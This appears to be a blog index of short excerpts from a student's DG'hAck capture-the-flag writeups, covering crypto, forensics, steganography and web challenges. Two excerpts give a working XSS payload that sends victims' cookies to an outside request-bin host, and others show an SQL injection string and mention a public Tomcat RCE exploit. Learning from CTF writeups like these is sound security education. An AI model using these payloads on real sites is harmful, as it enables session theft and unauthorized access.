DG’hAck: My Second CTF

I joined this CTF because there was a possiblity to get an internship (or a job). I think I did pretty well, ranking 1/1214 among the students, and 5 overall out of 2063 :) This was a whole lot of fun, I got to learn a ton of things, lose some sleep, and make new friends. I can’t wait for my next CTF! Here are the challenges that I completed, with links to my writeups:
Read more →

Writeup DG’hAck: Involucrypt 2

This is the second version of the involucrypt challenge. You can see my writeup of the first version here. It presents the encryption script and a simple bruteforce approach. The only thing that changed for the second version is the encrypted data, which is now 1497 bytes long. This makes the previous bruteforce attempt unusable: checking a single key takes about 50ms on my machine, and there are a lot of possible keys (since it’s 10 chars instead of 3).
Read more →

Writeup DG’hAck: Job Board

This challenge starts with a website that presents a list of jobs (once connected). Our goal is to login as an administrator. Here is the landing page: Right of the bat, we see a login link, and a contact link. The contact page seems interesting, and after toying around with some XSS payloads, we quickly find that a bot clicks on any link that is passed as a message. Clicking the login button prompts us for a username and password; the test/test combination works.
Read more →

Writeup DG’hAck: Time for Something Different

This is a steganography challenge where we’re given a PCAP file. Opening it in wireshark reveals a list of identical ICMP packets. Nothing seems to be unique, except the time of each packet, that we can extract using tshark: $ tshark -r data.pcap -T fields -e frame.time_epoch 1604485685.271523000 1604485685.974534000 1604485686.737381000 1604485687.390550000 1604485688.103364000 1604485689.336651000 1604485690.500205000 1604485690.982931000 1604485691.465408000 1604485692.617796000 1604485693.701056000 1604485694.814156000 1604485695.686772000 1604485696.799993000 1604485697.943153000 1604485699.106441000 1604485699.589015000 1604485700.071611000 1604485700.754520000 1604485701.266580000 1604485702.449633000 1604485702.942506000 1604485704.054744000 1604485705.
Read more →

Writeup DG’hAck: StickItUp

When starting this challenge, we’re greeted by two forms, a login one and a registration one. Registering for an account allows us to login, which brings us to this dashboard: We’re asked to find a note created by the admin user. I started by trying a few SQLi on the login page (they didn’t work), and noticed this in the source code: <!-- $_COOKIES['auth'] = 'testuser:' . sha1(SECRET_KEY . 'testuser'); --> So the auth cookie format is username:hash, where the hash is a SHA1 of a secret plus the username.
Read more →

Writeup DG’hAck: Bwing

For this challenge, we’re given a dump.raw file, which we’re told is a memory dump. We have to find confidential data in it. First, let’s see what kind of image this is: $ volatility -f dump.raw imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : No suggestion (Instantiated with no profile) AS Layer1 : FileAddressSpace (/home/vivescere/Projects/dghack/bwing/dump.raw) PAE type : No PAE None of the default profiles seem to work, we’ll have to create our own.
Read more →

Writeup DG’hAck: Sad Crypto

This challenge starts with a login page: From the description, we gather that this is a service that generates decryption keys when given a French SSN. Our goal is to get the key for this number: 1-46-85-30-750-318-37. admin/admin doesn’t seem to work, let’s try an SQLi! Entering " or 1=1 -- as the username reveals a second page: We seem to be able to enter a patient name (that we have to auto-complete), and get a decryption key: 797b4c-c4bd852fe0e32ebda194cb2a9fe00099.
Read more →

Writeup DG’hAck: Shadowmallet

This challenge starts with a file called shadowmallet. We’re asked to help an administrator whose server detected an abnormal activity. The file command doesn’t give us anything: $ file shadowmallet shadowmallet: data But searching for the first few bytes (53ff 00f0 53ff 00f0 53ff 00f0 53ff 00f0) of the file online quickly reveals it’s a memory dump. Let’s use volatility! $ volatility -f shadowmallet imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.
Read more →

Writeup DG’hAck: Gitbad

This challenge takes place on a Gitlab instance, where we have to find private data. You start by creating an account, which is automatically validated after a few seconds. Once logged in, you can do a few things, for example: create a project create a group edit your profile see the help page see public repositories Nothing seems to be particularly interesting, except for this message, on the help page:
Read more →

Writeup DG’hAck: Involucrypt 1

This writeup uses a naive approach, see my writeup of involucrypt 2 for a better solution. The challenge starts off with two files: crypt.py involucrypt1 The first one is a script that can encode a message, the second one contains crypted data. Here is the (slightly redacted) script: import itertools import operator import sys BLOCK = 150 class mersenne_rng(object): ... def keystream(seeds, length, base=None): key = base if base else [] for seed in seeds: random = mersenne_rng(seed) for _ in range(BLOCK): if len(key) == length: break key.
Read more →

Writeup DG’hAck: Walters Blog

The challenge starts with a minecraft blog: None of the pages look vulnerable. The URLs themselves don’t have any parameters, it’s just some static html (eg: /contact.html). The contact form doesn’t work: when posting something we get a 404. On that same 404 page, we can notice the apache version: Apache Tomcat/9.0.0.M1 Searching for that version on google tells us that this particular version is vulnerable to a RCE. The exploit is available on exploit database.
Read more →

Writeup DG’hAck: Server Room

This challenge starts with a file, found_in_server_room.img.gz. Let’s first try to find what this file is: $ gunzip found_in_server_room.img.gz $ file found_in_server_room.img found_in_server_room.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x40,0,1), end-CHS (0x3ff,3,32), startsector 8192, 524288 sectors; partition 2 : ID=0x83, start-CHS (0x3ff,3,32), end-CHS (0x3ff,3,32), startsector 532480, 3072000 sectors So this is a disk image. Let’s try mounting it! $ mkdir mnt $ sudo mount found_in_server_room.img mnt NTFS signature is missing.
Read more →

Writeup DG’hAck: Up Credit

The challenge URL redirects us to an online bank. The summary tells us that we have to buy the flag for 200€! Let’s start by registering for an account. After entering our name and email, we get an account ID and a password: After logging in, we are presented with an interface that has three tabs: an activity log a money transfer form a form to contact our financial advisor Trying an XSS in the contact form quickly reveals that the bot doesn’t execute any javascript, but does click any link that is posted.
Read more →

Writeup DG’hAck: Internal Support 2

This is the second version of the ticketing system presented in the CTF. We are greeted with the exact same interface. So let’s try exactly the same payload: <svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://enx8b5ofkwzw.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we manage to steal a cookie! However, we can’t use it, as the session is ip-locked: Hmm. The challenge is quite similar to the last one, so we know that the flag is probably on the home page.
Read more →

Writeup DG’hAck: Internal Support 1

The challenge presents itself as a ticketing system. After registering for an account, we are greeted with this page : Trying a classic xss (<script>alert(1)</script>) in the message field seems to work. We know that we have to login as an admin user, so let’s try stealing the cookies : <svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://eni7j9jobszxl.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we get a request on our request bin, which when decoded gives us the admin cookie :
Read more →